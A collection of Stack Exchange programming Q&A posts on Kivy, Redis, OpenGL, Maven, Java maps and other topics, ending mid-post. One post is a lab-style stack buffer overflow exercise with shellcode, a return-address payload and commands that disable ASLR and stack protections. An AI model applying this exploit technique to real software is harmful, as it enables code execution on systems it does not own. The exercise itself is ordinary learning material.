text:
Q: Kivy: I am trying to bind a button into the Popup but keep getting the error __init__ takes 1 positional argument but 2 were given I am trying to bind the "Removed" Button into the Popup in Kivy app using Python. However, I keep getting the error:
"box.add_widget(Button("Removed", on_press=pop.dismiss))
TypeError: init() takes 1 positional argument but 2 were given"
The below is a snippet of my code.
Python Code
class MyMainApp(MDApp):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.data_tables = None
        self.slider = None
        self.date_selected = None
        self.txt = "0"

    def build(self):
        self.kv = Builder.load_file("main1.kv")
        return self.kv

    ######## Screen 3 ######

    def add_datatable(self):
        count = 1
        condition = "Bad"   # MACHINE LEARNING: LOAD IN TOOL'S CONDITION HERE!!
        self.data_tables = MDDataTable(pos_hint={"center_x": 0.5, "center_y": 0.5},
                        size_hint=(0.545, 0.57),
                        check = True,
                        rows_num = 5,
                        use_pagination = True,
                        pagination_menu_height = "240dp",
                        column_data=[
                            ("No.", dp(25)),
                            ("Tools",dp(28)),
                            ("Slot Number", dp(26)),
                            ("Condition", dp(26))
                        ],
                        row_data=[
                            (count, "Kuglen", "1", condition),
                            ("", "", "", "")
                        ]
                        )

        if condition == "Bad":
            print("Bad tool")
            tool_img = "Capture.png"
            box = BoxLayout(orientation="vertical", padding=(10))
            pop = Popup(title="Faulty tool detected", auto_dismiss=True, content=Image(source=tool_img),
                size_hint=(None,None), size=(450,520))
            box.add_widget(Button("Removed", on_press=pop.dismiss))  ##The part with error
            pop.open()

        self.data_tables.bind(on_check_press=self.check_press) #Create a function check_press
        self.data_tables.bind(on_row_press=self.row_press)
        self.root.ids.data_scr.ids.data_layout.add_widget(self.data_tables)

    def change_screen(self, screen: str):
        self.root.current = screen

    def check_press(self, instance_table, current_row): current_row: has the values of rows that have been pressed
        print(instance_table, current_row)

    def row_press(self, instance_table, instance_row):
        print(instance_table, instance_row)


text:
Q: Get Guid lookup table from custome Field in Microsoft Project Online in this case i have custome field namely "Project Phase" then in value based on Lookup Table.

how can i get guid or internal name like 'Entry_d4399450ea69e61180cb00155d18530e' based on Delay value that appear in above image. this internal name i will use for updating data using C# Console.
here my simple code, but it doesn't VALID:
var PrjList = projContext.LoadQuery(projContext.CustomFields.Where(proj => proj.Name == cFieldName));
projContext.ExecuteQuery();
Guid pGuid = PrjList.First().Id;

Console.WriteLine(pGuid);

A: i finally i got simple linq query in ms project to get internal name of lookup based on custome field. here is my codeand it worked:
var InternalNameLookup = pubProj.CustomFields.LookupEntries.Where(x => x.FullValue == "Delay").First().InternalName;

this code will display internal name "Entry_d4399450ea69e61180cb00155d18530e". this is that i need to update my custome field based on lookup field.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Can a Pipe endpoint be shared between processes? I have a setting where I use Tornado for handling web requests and queuing tasks to a bunch of Python processes. One of these processes is a control process, while the others are worker processes. I want to implement a functionality allowing the compute part of this server to be turned off, restarted and so on. This works perfectly when Tornado is ran as a single process. However, when using multiple server processes, that is:
server = tornado.httpserver.HTTPServer(app)
server.bind(8888)
server.start(2)
tornado.ioloop.IOLoop.instance().start()

This spawns three processes (one control and two handlers). And when I decide to stop the compute processes I get an error:
AssertionError: can only join a child process

Which I interpret as a Tornado handler process trying to stop the compute processes, but the Tornado control one being their parent.
I am thinking about using pipes so I can send a stop message to the control compute process, however again, the question arises whether a Pipe endpoint can be shared between the 2 handler processes?
And as a second question, is my approach/architecture totally wrong and what could be a proper approach/architecture?

A: I think you'll need to include more sample code to help with the AssertionError. But basically only the thread which creates a new thread or process can join it (as the message suggests).
Regarding Pipes, you could create two Pipes (one for each sub-Process), since once the message is read by one, it won't be available for other. Items can be shared between tornado.web.Handlers with tornado.web.RequestHandler.settings.
However, keep in mind that a Handler is created for a request. But it sounds like you may be using them for background processing? If that is the case, you can simply share a Queue with them and 'poison' it.


text:
Q: Cannot read property 'forwardingCounter' of null | Error while binding named model to SAPUI5 XML View Though odata, i am getting the results and binding the same to the view through named model as shown below. Some times, i can able to view the results and upon cliking refresh several times, i can view the data for some instance and unable to view the data in some cases. It is not consistent.
Below is the sample code.
var docInfoModel = new JSONModel(oData.results);
oView.setModel(docInfoModel, "docInfoModel");

A: This is how it should definitely work
onAfterRendering: function(){
  var docInfoModel = new JSONModel(); //Create JSON Mmdel

  oModel.read("/MyEntity", {
    success: function(oData){
      console.log(oData); //Check in the console whether data is being returned
      docInfoModel.setProperty("/", oData.results); //Set data to JSON model
      this.getView().setModel(docInfoModel, "docInfoModel"); //Bind model to view
    }.bind(this)
  });
}


text:
Q: Jquery Messagebox call from server side code I am new to Jquery and trying to start learning the new tool. What I want to do is call a JQuery message box  from my gridViews Row Command function after the processing is done so I can notify the user the process has been complete.  I was trying to use this website as a referance
http://stuntsnippets.com/jquery-message-box/
But not sure how to call the function from the serverside. I have tried ClientScript.RegisterStartupScript
Thank you,
Spafa9
Place this inside your script tags...
$(document).ready(function () {
    //Determining if there is  a message to be shown if the message is not equal to empty string then the messagebox should appear.
    if(message != '') {
        message_box.show_message('Equipment Request:', message);
    }
});

//JQuery to set up the messagebox.
var message_box = function () {
    var button = '<input type="button" onclick="message_box.close_message();" value="Ok" />';
    return {
        show_message: function (title, body) {
            if (jQuery('#message_box').html() === null) {
                var message = '

' + title + '
' + body + '
' + button + '
';
                jQuery(document.body).append(message);
                jQuery(document.body).append('

');
                jQuery('#darkbg').show();
                jQuery('#darkbg').css('height', jQuery('html, body').height());

                jQuery('#message_box').css('top', jQuery('html, body').scrollTop() + 150);
                jQuery('#message_box').show('slow');
            } else {
                var message = '
' + title + '
' + body + '
' + button;
                jQuery('#darkbg').show();
                jQuery('#darkbg').css('height', jQuery('html, body').height());

                jQuery('#message_box').css('top', jQuery('html, body').scrollTop() + 150);
                jQuery('#message_box').show('slow');
                jQuery('#message_box').html(message);
            }
        },
        close_message: function () {
            jQuery('#message_box').hide('fast');
            jQuery('#darkbg').hide();
        }
    }
} ();

this goes in the CSS:
#darkbg {
    display: none;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: #000;

    opacity: .5;
    filter: alpha(opacity=50);
    -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";
}
#message_box {
    width: 300px;
    height: 150px;
    background: #fff;

    border: 4px solid #f0f0f0;
    border-radius: 10px;
    -moz-border-radius: 10px;
    -webkit-border-radius: 10px;

    position: absolute;
    top: 100px;
    left: 50%;
    margin-left: -150px;

    text-align: center;
    z-index: 1000;
    display: none;
}
#message_box input[type=button] {
    float:left;
    margin-left: 145px;
}

In the if not is postback of the page you are using the message box on put this line of code:
ltlMessage.Text = ""

Then in you row command under the function in which you would like to show the message box place this code.
ltlMessage.Text = ""

A: I have modifed my post to include the working example. Hope this helps someone else out. One thing I forgot to note is on the page in which you would like the message box you will need a literal control to save off the message in my case it is called ltlmessage.
Spafa9


text:
Q: How to write the stopping condition in quick sort in assembly I am trying to implement quick sort in assembly.
I can't implement the return statement when the stopping condition is true as i can do in C# or any other high language.
Help will be appreciated !
Here is my code:
INCLUDE Irvine32.inc
    Len EQU 8
.data
    Numbers byte 5,6,4,7,11,2,9,1
    Sorted byte Len dup(?)
    Index_Pivot dword ?
    Element_Pivot byte ?
    Greater byte Len dup(-1)
    Less byte Len dup(-1)
    Temp dword ?
    Temp2 dword ?
.code
Generate_Random PROC
    Mov eax,ebx
    CALL randomrange
    ret
Generate_Random ENDP
;-----------------------------

Quick_Sort PROC
    CMP ebx,1
        JLE Next
    CALL Generate_Random
    MOV Index_Pivot,eax
    ADD esi,eax
    MOV Temp2,eax
    MOV al,[esi]
    MOV Element_Pivot,al
    MOV byte ptr[esi],' '
    SUB esi,Temp2
    ;-------------------------
    MOV ecx,ebx
    JMP Do_calc
    Continue::

    MOV Temp,edx

    MOV esi,OFFSET Less
    MOV ebx,Temp
    CALL Quick_Sort

    Next:
    ret
Quick_Sort ENDP
;-------------------------------------
Do_calc:
        MOV ebx,0
        MOV edx,0
        ;MOV ecx,Len
        L:
            MOV al,Element_Pivot
            CMP byte ptr[esi],' '
                JE Next
            CMP [esi],al
                JG Move_Greater
                MOV al,[esi]
                MOV Less[edx],al
                INC edx  ; for less array
                JMP Next
                Move_Greater:
                    MOV al,[esi]
                    MOV Greater[ebx],al
                    INC ebx   ; for greater array
            Next:
            INC esi
        LOOP L
    jmp Continue

;-----------------
main PROC
    MOV esi,OFFSET Numbers
    MOV ebx,Len
    CALL Quick_Sort

    MOV edi,OFFSET Sorted

    MOV edi,OFFSET Sorted
    MOV ecx,LENGTHOF Sorted
    lo:
        mov eax,0
        mov al,[edi]
        call writeint
        INC edi
    LOOP lo
    CALL crlf

    exit
main ENDP

END main

A: Your code already has a stopping condition. To return a value or a pointer to a list, you usually just put the value or the pointer to a list in eax and return.
In response to the OP's unusual implementation of a c# quick sort, here is a c# example of a single function Hoare partition scheme quick sort:
        static public void Quicksort(int [] a, int lo, int hi)
        {
            if (lo >= hi)
                return;
            int p = a[(lo + hi) / 2];
            int i = lo, j = hi;
            i--;                        // partition
            j++;
            while (true)
            {
                while (a[++i] < p) ;
                while (a[--j] > p) ;
                if (i >= j)
                    break;
                int t = a[i];
                a[i] = a[j];
                a[j] = t;
            }
            Quicksort(a, lo, j);        // recurse
            Quicksort(a, j + 1, hi);
        }


text:
Q: How can I see what an amulet does? I prayed to the gods. And got an amulet. I prayed to some other gods. Got a second amulet.
I can activate them be pressing "E", but that doesn't tell me what they do. I tried using one, and it seemed to do nothing at all, except that now that amulet has to recharge. The two amulets look different though, so I expect them to be different.

I can only carry one, so how can I find out what it does so I know which one to leave behind?

A: Clicking 'U' will open up the list of all your perks, inventory, and your character when no level up is present.


text:
Q: Stack Buffer Overflow: Works on GDB, doesn't outside it I readed about Stack located Buffer Overflows a long time ago, but decided to set up a virtual machine and actually see them in practice.
The following code was the vulnerable program:
#include<string.h>

void go(char *data){
    char name[64];

    strcpy(name, data);
}

int main(int argc, char **argv){
    go(argv[1]);
}

It was compiled using the -zexecstack and -fno-stack-protector options on GCC to both allow code in the stack being executable and disable the program built-in Stack Overflow protection (the "canary" value).
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
I then used the GDB to find out the memory position of name on the stack and found the following address: 0x7fffffffdc10
Since my VM has a recent linux version, I had to disable ASLR (Address Space Layout Randomization) by running:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" or sudo sysctl -w kernel.randomize_va_space=0.
The shellcode was taken from an article I found online about Stack Smashing and was fed to the program through a Perl script:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

Being the first 45 bytes the shellcode (supposed to write "Hax!" on the screen), some extra 27 "A" bytes to get the pointer in the right position and finally the starting address of the payload in little endian.
The problem is:
When running the program on GDB, through:
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

I can get the shellcode running and the "Hax!" output.
When trying to run the program outside GDB like
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

I receive an Illegal instruction (core dumped) error instead of the "Hax!" output.
I've been banging my head trying to figure out what is the cause of this different behavior. Apparently GDB disables ASLR by default, however I also disabled it through sysctl on the kernel. Could the kernel be ignoring the kernel.randomize_va_space variable? Or maybe the memory address is different, even if static, on the GDB and on the real process? Or maybe the real process is actually running the shellcode, but something is going wrong on the real process that GDB is ignoring/bypassing?
Any ideas of what could be the cause?

A: After reading this answer (https://stackoverflow.com/a/17775966/6765863) I changed somethings on my attempts to perform a Stack Buffer Overflow.
First, I used a clear environment as suggested in the answer above (env -i) on both GDB tests and regular binary tests. On GDB I had to further run the commands unset env LINES and unset env COLUMNS to clear the GDB environment completely.
Second, I used the complete path to the executable, to make sure the argv[0] variable would be the same on both tests, not influencing on the Payload address.
Even after those steps I could still only hit the Payload on the GDB version. So I made a "debug" version of the code, where I would print the memory addresses of the Payload (which would be the "name" array address on function "go") and the addresses of argv[0] and argv[1]. Final code below:
#include<string.h>

void go(char *data){
    char name[64];
    printf("Name: %p\n",name);
    strcpy(name, data);
}

int main(int argc, char **argv){
    printf("Argv[0]: %p\n",argv[0]);
    printf("Argv[1]: %p\n",argv[1]);
    go(argv[1]);
}

I know I should have explicitly included stdio.h (my bad!). I don't know if adding the #include<stdio.h> would change anything on the memory addresses (don't think so because it's a pre-processor call that is probably being called the same way by the compiler, but after all the debugging I didn't want to risk having to do it again if the program worked anyways).
Anyways, I noticed the addresses were a bit different on GDB tests and on a regular test. To be more specific, the Payload address had a +0x40 offset (64 bytes). Changing the Perl script to actually hit that address was enough to make it work outside GDB.
I'm still not sure about what could be different on the stack, but the whole issue was the precise addresses not matching on both tests. If anyone has any idea what could be those extra 64 bytes on GDBs tests I'll be glad to add it to my answer!


text:
Q: IIS7, SSL and "The page was not displayed because the request entity is too large." We're running an ASP.NET application over SSL on IIS7 on a 64-bit machine.
Now I've found several articles mentioning that to resolve this error, I need to modify the system.webServer/serverRuntime/uploadReadAheadSize. Fine. I tried via appcmd.exe and then just manually editing my web.config to set this:

    other config settings

    -->
    <serverRuntime uploadReadAheadSize="1048576" />
  </system.webServer>

However, when I set this in the site's web.config, I get this error:

This configuration section cannot be used at this path. This happens when the section is locked at a parent level. Locking is either by default (overrideModeDefault="Deny"), or set explicitly by a location tag with overrideMode="Deny" or the legacy allowOverride="false".

From there, I Googled and posts said that this config section needs to be unlocked. So I ran appcmd.exe to unlock it, but I get an error from appcmd.exe:

C:\Windows\System32\inetsrv>appcmd.exe set config -section:system.webserver/serverruntime/uploadreadaheadsize:1048576 /commit:apphost ERROR (message:Unknown config section "system.webserver/serverruntime/uploadreadaheadsize:1048576".  Replace with ? for help. )

I got it opened in notepad 64-bit and modified it:
<section name="serverRuntime" overrideModeDefault="Allow" />

First off, is it wise to allow this to be overidden? If not, what are the alternatives? If it is overridden what are the potential issues with setting this in my web.config so that the uploadreadaheadsize is larger than the default? One site mentioned the potential for a DoS attack.

A: I would recommend instead just setting it up for the Site that requires that kind of functionality, you can easily do that using AppCmd, here is the syntax for enabling it say for Default Web Site:
appcmd.exe set config "Default Web Site" -section:system.webServer/serverRuntime /uploadReadAheadSize:"1048576"  /commit:apphost

Server runtime allows you to set several other features that depending on the server (like if it hosts 3rd party sites, or other non-trusted content) you might want not to allow that for them, so not delegating it (unlocking) makes sense.


text:
Q: Opencart 1.5.4 addToCart() first time page shows function does not work I am currently working on a project in Open Cart 1.5.4. I slighty moved the cart into another div without any problems. The thing is on new computers and first time they enter the site it´s not possible for the customer to add a product to cart. If they go into another page and then back it works just fine. The javascript file is loaded properly without any problems.
Hope this explanation explains the problem or bug pretty good.
Thanks in advance.
JAVASCRIPT
function addToCart(product_id, quantity) {
    quantity = typeof(quantity) != 'undefined' ? quantity : 1;

    $.ajax({
        url: 'index.php?route=checkout/cart/add',
        type: 'post',
        data: 'product_id=' + product_id + '&quantity=' + quantity,
        dataType: 'json',
        success: function(json) {
            $('.success, .warning, .attention, .information, .error').remove();

            if (json['redirect']) {
                location = json['redirect'];
            }

            if (json['success']) {
                //$('#notification').html('
' + json['success'] + '
');

                $('.success').fadeIn('slow');
                try {
                    $('#cart-total').html(json['total']);
                }
                catch(err) {
                    console.log(err.message());
                }

                $('html, body').animate({ scrollTop: 0 }, 'slow');

                $(".heading").animate({backgroundColor: "#FFFFFF"}, 'slow');

                $(".cart_arrow").attr("style", "display: block;");

                $(".heading").animate({backgroundColor: "#585858"}, 'slow');

            }
        }
    });
}

A: change
url: 'index.php?route=checkout/cart/add',

to
url: $('base').attr('href') + 'index.php?route=checkout/cart/add',

A: Found the cause of the problem. When Open Cart is installed and domain is about to be choosen, you can choose www or non-www. Depends on the one you choose the other wont work.
So the solution to the problem htaccess redirect for this one from non-www to www adress
RewriteCond %{HTTP_HOST} ^domain.com$ [NC]
RewriteRule ^(.*) http://www.domain.com/$1 [R=301,L]

RewriteBase /
RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L]
RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)
RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]

The redirect has to be over RewriteBase /
Thanks and I hope this helps in the future for anyone nedded this kind of support


text:
Q: Eigenvalues of the product of two diagonalizable commuting matrices. Let $A, B$ be two n by n matrices. Suppose that $A, B$ are diagonalizable and $AB=BA$. Do we have the following: eigenvalues of $AB$ are the products of eigenvalues of $A, B$?
Edit: Do we have the following: eigenvalues of $AB$ are products of eigenvalues of $A, B$?

A: Since $A$ and $B$ commute, they can be diagonalized simultaneously, i.e. there is an invertible matrix $S$ such that
$$ A = S^{-1} \mathrm{diag}(\lambda_1, \dots, \lambda_n) S, \quad B = S^{-1} \mathrm{diag}(\mu_1, \dots, \mu_n) S.$$
where $\mathrm{diag}$ is a diagonal matrix with the specified diagonal entries (the eigenvalues of $A$ resp. $B$). Then
$$ AB = S^{-1} \mathrm{diag}(\lambda_1, \dots, \lambda_n) SS^{-1} \mathrm{diag}(\mu_1, \dots, \mu_n) S = S^{-1}\mathrm{diag}(\lambda_1, \dots, \lambda_n)\mathrm{diag}(\mu_1, \dots, \mu_n) S \\ = S^{-1}\mathrm{diag}(\lambda_1 \mu_1, \dots, \lambda_n \mu_n) S $$
and the eigenvalues are indeed, as you suspected, the product of the eigenvalues. Observe that the order in which the eigenvalues are multiplied depend on the matrix $S$, i.e. is not arbitrary.

A: $A,B$ do not need to be diagonalizable.
Proposition. Let $A,B\in M_n(\mathbb{C})$ and $spectrum(A)=(\lambda_i)_i$.
If $AB=BA$, then, there is an ordering of $spectrum(B)$: $(\mu_i)_i$, s.t. $spectrum(A+B)=(\lambda_i+\mu_i)_i$ and $spectrum(AB)=(\lambda_i\mu_i)_i$.
Proof. $A,B$ are simultaneously triangularizable.


text:
Q: How to clear all hashes associated with a certain string domain in redis? For example I have User:1, User:2, User:3... User:2000. I want to remove all User so I can start fresh. Is there a way of doing this without knowing the exact keys just that I want to remove all keys with the User domain? I'm interested in doing this as part of the startup task for the application server.

A: A better approach than using 'keys' to scan all the keys and remove by a regex match, would be to use a tagging mechanism, to maintain a Redis SET in the server that holds the relation Tag-Keys, like the one on this post: http://stackify.com/implementing-cache-tagging-redis/
I'm using a similar approach, this is the Lua Script I ended up using to set a key-value related to one or more tags:
local tagcount = 0
local cacheKey = KEYS[1]
local exp = ARGV[2]
local setValue = ARGV[1]

-- For each Tag, add the reference to the TagKey Set
for i=2,#KEYS do
    local tag = ':tag:' .. KEYS[i]
    local tagTtl = redis.call('ttl', tag)
    tagcount = tagcount + redis.call('sadd', tag, cacheKey)
    if(exp ~= nil and tagTtl ~= -1) then
        -- Tag is volatile or was not found. Expiration provided. Set the Expiration.
        redis.call('expire', tag, math.max(tagTtl, exp))
    else
        -- Tag is not volatile or the key to add is not volatile, mark the tag SET as not volatile
        redis.call('persist', tag)
    end
end

-- Set the cache key-value
if(setValue) then
    if(exp ~= nil) then
            redis.call('setex', cacheKey, exp, setValue)
    else
            redis.call('set', cacheKey, setValue)
    end
end
return tagcount

Note the prepended ":tag:" to the keys that represents tags SETs.
If you don't need an atomic way to delete the keys by tag, you can do it with your Redis client in two operations, for example by getting the members of the tag "user" with SMEMBERS :tag:user and removing the keys with the DEL key1 key2 .. command.


text:
Q: How to setup and position camera that receive mouse input in OpenGL I want to code a camera that translates, rotates, and scales its viewing volume based on the mouse input. The camera should translate when the user right-clicks and move the mouse around, rotating around the point left-clicked by the user, enlarging or translating to the center of the view the camera currently looking at. Something like the camera inside sketchfab:
https://sketchfab.com/3d-models/chesterfield-sofa-66ba4225efaa4de59d9a9b7086363199
How can such camera be created in OpenGL? How should I start?


text:
Q: Same result with methods of type void and int, which to use? I have the following main class:
public class Test {

    public static void main(String[] arg) {
        Counter counter1;
        Counter counter2;
        counter1 = new Counter();
        counter2 = new Counter();

        counter1.increment();
        counter2.increment();
        counter2.increment();

        System.out.println(counter1.getValue());
        System.out.println(counter2.getValue());
    }
}

And the class Counter:
public class Counter {

    private int count;

    public Counter() {
       count = 0;
    }

    public void increment() {
        count++;
    }

    public int getValue() {
        return count;
    }
}

I got the result (from counter1 and counter2, respectively):
1
2

But if I instead change the method increment  to type int, i.e.
public class Counter {

    private int count;

    public Counter() {
        count = 0;
    }

    public int increment() {
        return count++;
    }

    public int getValue() {
        return count;
    }
}

I got the same result:
1
2

I know void doesn't return any value, however, is there any purpose of using void over int (or vice versa) in this example?

A: You write code to do two things:

*

*solve some problem (like implementing a counter and providing access to the internal state of that counter)

*communicate your intentions to human readers

You can decide to use void to indicate that calling increment() is not meant to give you any insights into the current counter count. You could use the int return type to tell your readers that the method also provides that information. But in the second case you might also slightly change the method name, to "incrementAndGet()" for example.
When you check out classes like https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicInteger.html you will find that pattern "do something and return the new state" quite often.
And yes, one could see it as a violation of srp to return a value from result, but as my example shows, sometimes it is helpful or actually mandatory to deviate slightly...

A: There is no point in using "int" here because you are getting the value of count with another method. If you wouldn't have the "getValue" method you would need to use "int" to get the value.
But because you have the "getValue" method you should not use "int" because is it a violation of the "single responsibility principle".


text:
Q: Unable to use maven in Eclipse IDE I am trying to create Maven project in my eclipse IDE after choosing File->new->other->Maven Project-> maven-archetype-quickstart version 1.1 and i am getting this error
Could not resolve archetype org.apache.maven.archtypes:maven-archtype-quickstart1:1 from any of the configured repositories.
I tried many methods but the error still exist. I also uninstalled eclipse and installed couple times and this error is still existing. Can someone help me out in this situation.
Following is my error trace
Could not resolve archetype org.apache.maven.archetypes:maven-archetype-quickstart:1.1 from any of the configured repositories.
Could not resolve artifact org.apache.maven.archetypes:maven-archetype-quickstart:pom:1.1
Failure to transfer org.apache.maven.archetypes:maven-archetype-quickstart:pom:1.1 from https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced. Original error: Could not transfer artifact org.apache.maven.archetypes:maven-archetype-quickstart:pom:1.1 from/to central (https://repo.maven.apache.org/maven2): PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
Failure to transfer org.apache.maven.archetypes:maven-archetype-quickstart:pom:1.1 from https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced. Original error: Could not transfer artifact org.apache.maven.archetypes:maven-archetype-quickstart:pom:1.1 from/to central (https://repo.maven.apache.org/maven2): PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

A: Assuming it's not a proxy issue, you might want to try a couple of things:

*

*Add the https://repo1.maven.org/maven2/archetype-catalog.xml as a remote catalog. When you are in the archetype step in the New Maven Project window, select Configure...->Add Remote Catalog..., paste the URL, and give it a name.

*Delete your local Maven repository which, by default, is in the .m2 directory of your user home directory.

If you are using a proxy, you can configure it in the preferences (General->Network Connections).


text:
Q: Retained Mode to draw 2D texture image I'm trying to use the "retained mode" to draw my 2D images (loaded as texztures inside pygame with an opengl context), and the way i found to do so is using VBO, but i can't find a opengl tutorial that uses VBO to draw anything but primitives. Is there an away to do it?

A: Yes, you can (or even should?) use VBOs to draw 2D graphics. What I mostly use in my 2D rendering is following:
I have shader that takes in vertex coordinates (VBO), UV coordinates (VBO), texture map and ModelView matrix. I have centered "unit box", simple 1x1 (from (-0.5, -0.5) to (0.5, 0.5)) rectangle made from 2 triangles, with UV coordinates (0, 0) - (1, 1). I use these same two VBOs to draw all 2D bitmaps: I send position & scaling in ModelView matrix and change different bitmap to be drawn.
For GUI purposes, it may be easier to have reference point at top left corner, that is, a rectangle from (0, 0) to (1, 1) - you can use UV coordinate buffer for this, if your shader accepts vec2 coordinates. Also, it may help if you set perspective so that you can use window coordinates.
Following tutorials are written for C++, but OpenGL calls are the same in Python, too:
Creating VAO & VBOs: http://www.opengl-tutorial.org/beginners-tutorials/tutorial-2-the-first-triangle/
Texturing: http://www.opengl-tutorial.org/beginners-tutorials/tutorial-5-a-textured-cube/
Text (drawing 2D bitmap): http://www.opengl-tutorial.org/intermediate-tutorials/tutorial-11-2d-text/
Hope this helps a bit, sorry that I can't provide any source code, as my OpenGL projects are written in D... Try also google "pygame pyopengl 2d" for finding some source code doing the trick.


text:
Q: Equality of Lower and Upper Darboux sums
Let $f:[a,b]\rightarrow \mathbb R$ be a bounded function for which
  there is a partition $P$ of $[a,b]$ with $L(f,P)=U(f,P).$ Show that
  $f:[a,b]\rightarrow \mathbb R$ is a constant function.

My attempt:
$$L(f,P)=U(f,P)\implies \sum_{i=1}^n m_i(x_i-x_{i-1})=\sum_{i=1}^n M_i(x_i-x_{i-1})\implies m_i=M_i, i=1,...,n,$$ i.e. $$inf\{f(x)|x \text{ in } [x_{i-1},x_i]\}=sup \{f(x)|x \text{ in } [x_{i-1},x_i]\} \implies f(x) = const \text{ on } [x_{i-1},x_i], i = 1,...,n.$$
Is this right? If so, why do we need f to be bounded then?


text:
Q: Select box puts dotted rectangle on mouse select My select box puts a dotted rectangle, when i do mouse select in it. How can i clear this?

I saw many people having this same issue, and taking their inputs, i updated my css with these properties, but of no use.
select::-moz-focus-inner {
  border: 0;
  outline: 0;
}
select{
  color: #000;
  color: rgba(0,0,0,0);
  text-shadow: 0 0 0 #000;
  margin: 10em 10em;
}
select::-moz-focusring {
    color: transparent;
    text-shadow: 0 0 0 #000;
}

I am using Firefox 38.0 on Ubuntu 14.04

A: Try this -
select:-moz-focusring {
    color: transparent;
    text-shadow: 0 0 0 black;
}

A: Applying the css properties for both select and option tags removed the dotted lines finally....
select::-moz-focus-inner, option::-moz-focus-inner {
  border: 0;
  outline: 0;
}
select, option{
  color: #000;
  color: rgba(0,0,0,0);
  text-shadow: 0 0 0 #000;
  margin: 10em 10em;
}
select::-moz-focusring, option::-moz-focusring {
    color: transparent;
    text-shadow: 0 0 0 #000;
}


text:
Q: find -exec grep does not work I need to use a find command in a script with ssh and grep together.
Something like this:
ssh user@host find /var/log -type f -mtime 1 -exec grep -i -F error warn {} \;
But it says, that there is no argument for -exec.
What should I do to fix this?

A: Put the commands inside quotes:
ssh user@host "find /var/log -type f -mtime 1 -exec grep -i -F error warn {} \;"

or
ssh user@host 'find /var/log -type f -mtime 1 -exec grep -i -F error warn {} \;'


text:
Q: iterating a hashmap to get the count of unique keys The code looks like below:
Map<string , list> qsnMap =new hashmap <string , list>;
If(qsnMap !=null){
    Iterator<Map.Entry<string , list>> entries =
    qsnMap.entrySet().iterator();
    While(entries.hasNext()){
        Map.Entry<string , > entry = entry.next();
        String mapKey = entry.getKey();
    }
}

Suppose the data appears like this
"123    ,  abc"             "abc"
"234    ,   gdd"           "gdd"
"434  ,     dhd"            "dhd"
"123 ,      mnb"            "mnb"
Here i want to use the numerics as key and then use a map in the while loop to get the count of unique keys...i.e the count should be 3 for the above data
Hope this is more understandable.

A: As a Map does not contain any duplicate keys you can just use qsnMap.size() to get the count of unique keys.

A: The basic contract of Map is it doesn't allow duplicate keys. So all the keys in the map are by default unique
This is because a Map uses Set to hold keys and Set doesn't allow duplicate elements
The javadoc for Set says

A collection that contains no duplicate elements. More formally, sets
  contain no pair of elements e1 and e2 such that e1.equals(e2), and at
  most one null element. As implied by its name, this interface models
  the mathematical set abstraction

.

A: Docs says, if you try to put new value with a key which is already in map, it will replace the value with the new value and will return old value.
so if you want to know the size/length/numbers of key value pairs, you can find it with
mapObject.size();

from oracle docs>>
public V put(K key,
         V value)
Associates the specified value with the specified key in this map. If the map previously contained a mapping for the key, the old value is replaced.
Parameters:
key - key with which the specified value is to be associated
value - value to be associated with the specified key
Returns:
    the previous value associated with key, or null if there was no mapping for key. (A null return can also indicate that the map previously associated null with key.)

A: The keys in a map are by definiton unique!
Maps does not allow dublicate keys!
You can read here, here (german), here

A: All  keys in map are unique.
So
Set keySet = map.keySet();
keySet.size();  //this is count of keys

And size of the set is count.
or Simply map.size() is your count of keys.

A: Map is always unique. Even if u put the same key again. the old key would be replaced by the new one.
Please learn how to use map. This link should be userful

A: You can start with this http://docs.oracle.com/javase/tutorial/collections/index.html  . Get the basics clear first.


text:
Q: replacingOccurrences(of: " ", with: "") Not Working I have a text field where a user enters their phone number. When they hit the 'continue' button, the text in the text field is assigned to a global variable called phoneNumber. I then proceed to clean the string of any non-integer values such as '-', ')', and '+'. When I try to delete spaces it doesn't always work. I realized it only doesn't work when I autofill my phone number. Are spaces in autofill phone numbers different than spaces from our keyboards?
Can someone help me figure out what's happening here or if there's a better way to do this?
class LoginViewController: UIViewController {

@IBOutlet weak var phoneNumberTextField: UITextField!
var phoneNumber = ""

@IBAction func continueButton(_ sender: Any) {

    self.phoneNumber = phoneNumberTextField.text!

    for _ in 0...phoneNumber.count {
